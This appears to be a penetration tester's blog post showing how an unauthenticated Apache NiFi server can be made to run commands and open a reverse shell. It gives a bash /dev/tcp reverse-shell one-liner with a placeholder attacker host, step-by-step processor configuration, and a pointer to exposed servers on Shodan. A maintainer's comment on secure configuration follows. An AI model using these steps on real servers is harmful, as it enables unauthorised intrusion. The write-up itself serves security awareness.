Examining code execution features in Apache NiFi

During a recent penetration test my team and I encountered an application called NiFi. This app wasn’t protected by any sort of authentication, and after a few hours of playing with it, my teammates were able to take advantage of a feature and achieve a remote, command shell on the server that hosted the application. I was having laptop problems at the time and didn’t get to take part in the fun, so I later decided to download the latest version of NiFi (1.8.0 as of this writing) and document how to achieve shell on NiFi. You can download and install NiFi using instructions located here if you’d like to follow along.

By default, NiFi installs at /nifi:8080 and requires no authentication. It looks like this:

According to its product page, Apache NiFi is “an easy to use, powerful, and reliable system to process and distribute data”. NiFi actually seems pretty cool. I spent some time reading the documentation and it has a lot of “NiFi-ty” (sorry!) features. A few of these features allow the execution of code on the server.

To execute a single command:

Here’s a video since there are lots of steps:

And here are the steps anyway:

  1. Drag and drop the Processor icon onto the grid.
  2. Search for ExecuteProcess and click the ADD button.
  3. Right-click the ExecuteProcess palette and select Configure
  4. In the SETTINGS tab, check the success box under Automatically terminate relationships.
  5. Select the PROPERTIES tab, click on the value for command, and add the command you’d like to run. Click OK. Add any applicable arguments in the Command Arguments section and click APPLY.
  6. Right-click the ExecuteProcess palette again and select start. The command should start running and the ExecuteProcess palette’s indicator should be showing any input/output and reads/writes. The command is executed continuously, so right-click again and select stop.
  7. Right-click again and select View data provenance.
  8. On the top result, select the lowercase i icon to the left of the Date/Time. Then select the CONTENT tab and click VIEW. This should open a new tab with the command output.

Get a shell:

Once my teammates discovered this feature it didn’t take them very long to get a shell during the pentest. They utilized /dev/tcp on the hosting server to connect back to them. I’ve written briefly about /dev/tcp here, and here is what the payload looks like for a reverse shell: /bin/bash -i > /dev/tcp/[attackerIP]/[port] 0<&1 2>&1.

As I mentioned, I wanted to reproduce this exploitation on my local NiFi, so I attempted the payload and was unsuccessful. I then spent a few hours tweaking it and trying multiple variations of the same payload, as well as going through half of the one-liner reverse shells on pentest-monkey, slowly suffocating in the stench of my failure. I verified each payload was a valid reverse shell that I could use against myself, but for some reason when I tried to have NiFi execute it, nothing would work.

Eventually I noticed that all of my payloads involved bash, or sh, or some built-in shell, so I decided to use a longer script that didn’t specifically try to run bash and shovel it out. I could have echoed the script line-by-line to build it on the system and then have NiFi execute it (which would be a lot of work), but luckily NiFi also has another great processor called ExecuteScript (guess what it does).

Here’s a video showing me use the ExecuteScript processor for a Python shell (via a PoC TrustedSec shell):


So it seems like this version of NiFi does some sort of filtering on built-in shell names (or at least that was my experience) and using payload that does not rely on those shells is the best way to get an interactive terminal.

Here are the steps:

  1. Drag and drop the Processor icon onto the grid.
  2. Search for ExecuteScript and click the ADD button.
  3. Right-click the ExecuteScript palette and select Configure
  4. In the SETTINGS tab, check the failure and success box under Automatically terminate relationships.
  5. Select the PROPERTIES tab, change the script engine to Python, paste the Python shell in the Script Body section, and click APPLY.
  6. Start netcat or some other listener
  7. Right-click the ExecuteScript palette again and select Start.
  8. Catch your shell.

So obviously these are features not flaws, but this is definitely something to look out for, since NiFi works right out of the box with no authentication. A quick Shodan search (https://www.shodan.io/search?query=nifi) shows plenty of servers running (and it appears most do not require any authentication).

Credit to my colleagues Adam Willard and Ryne Hanson for beating me to code execution during the test!

One comment

  1. Hi Jake,

    Great article; your experience is something we are trying to strike a balance with as far as Apache NiFi security goes. By default, no authentication or authorization mechanisms are enabled, as a plain installation of NiFi doesn’t have access to any private keys & certificates to enable TLS. That’s the [first step we recommend](https://nifi.apache.org/docs/nifi-docs/html/administration-guide.html#security_configuration) when deploying a NiFi instance, as enabling TLS activates strict [client authentication](https://nifi.apache.org/docs/nifi-docs/html/administration-guide.html#user_authentication) (via client certificates, LDAP, Kerberos, OpenID Connect, or KnoxSSO) and [authorization](https://nifi.apache.org/docs/nifi-docs/html/administration-guide.html#multi-tenant-authorization) controls (either natively or via integration with [Apache Ranger](https://bryanbende.com/development/2016/08/22/apache-nifi-1.0.0-using-the-apache-ranger-authorizer)). We made a conscious decision not to allow credential passing over plaintext HTTP, as this would provide a false sense of security to users while exposing sensitive values to trivial network intercept.

    As the project has evolved and the user base has grown to include many people deploying outside of controlled enterprise environments, we’ve provided tools to simplify the secure deployment process in the absence of trained teams to do that. The [NiFi TLS Toolkit](https://nifi.apache.org/docs/nifi-docs/html/administration-guide.html#tls_generation_toolkit) for example, allows for simple key generation, format conversion, strong passwords, and config property population, while the [Encrypt Config tool](https://nifi.apache.org/docs/nifi-docs/html/administration-guide.html#encrypted-passwords-in-configuration-files) securely encrypts the various sensitive config values. We do want to encourage users to make secure decisions easily, and provide strong and secure defaults to the majority who do not follow through on those steps. We’d like to move to a model that deploys on TLS and enables strict access control by default, but because [we follow Semantic Versioning](https://cwiki.apache.org/confluence/display/NIFI/Version+Scheme+and+API+Compatibility), this backward-incompatible change can only occur in a major version release (i.e. 2.0.0). There are a [number of current efforts underway](https://issues.apache.org/jira/issues/?jql=labels%20%3D%20security%20and%20project%20%3D%20%22Apache%20NiFi%22%20and%20status%20!%3D%20Resolved%20) to prepare for these changes that you are welcome to track & contribute to in our Jira.

    In addition, there are (currently) 27 components (processors, controller services, and reporting tasks) that have the [@Restricted annotation](https://nifi.apache.org/docs/nifi-docs/html/user-guide.html#Restricted_Components_in_Versioned_Flows) on their definitions. This requires a special access control policy to be present when a user attempts to instantiate or modify one of these components (i.e. a “normal” user can add, remove, and modify processors on a section of the canvas, but they do not have the ability to add an “ExecuteScript” or “GetFile” processor).

    We welcome all feedback, especially security-related findings, and encourage people interested in the project to discuss features they’d like to see, bugs they’ve discovered, etc. [Our mailing lists](https://nifi.apache.org/mailing_lists.html) are very active, and if you have sensitive feedback, security@nifi.apache.org is open and there are more details available at [our security page](https://nifi.apache.org/security.html). Thanks again for writing this up, and to your colleagues Adam and Ryne for their investigation as well. Please feel free to reach out to me directly at alopresto@apache.org or @yolopey on Twitter.

Leave a Reply

Your email address will not be published. Required fields are marked *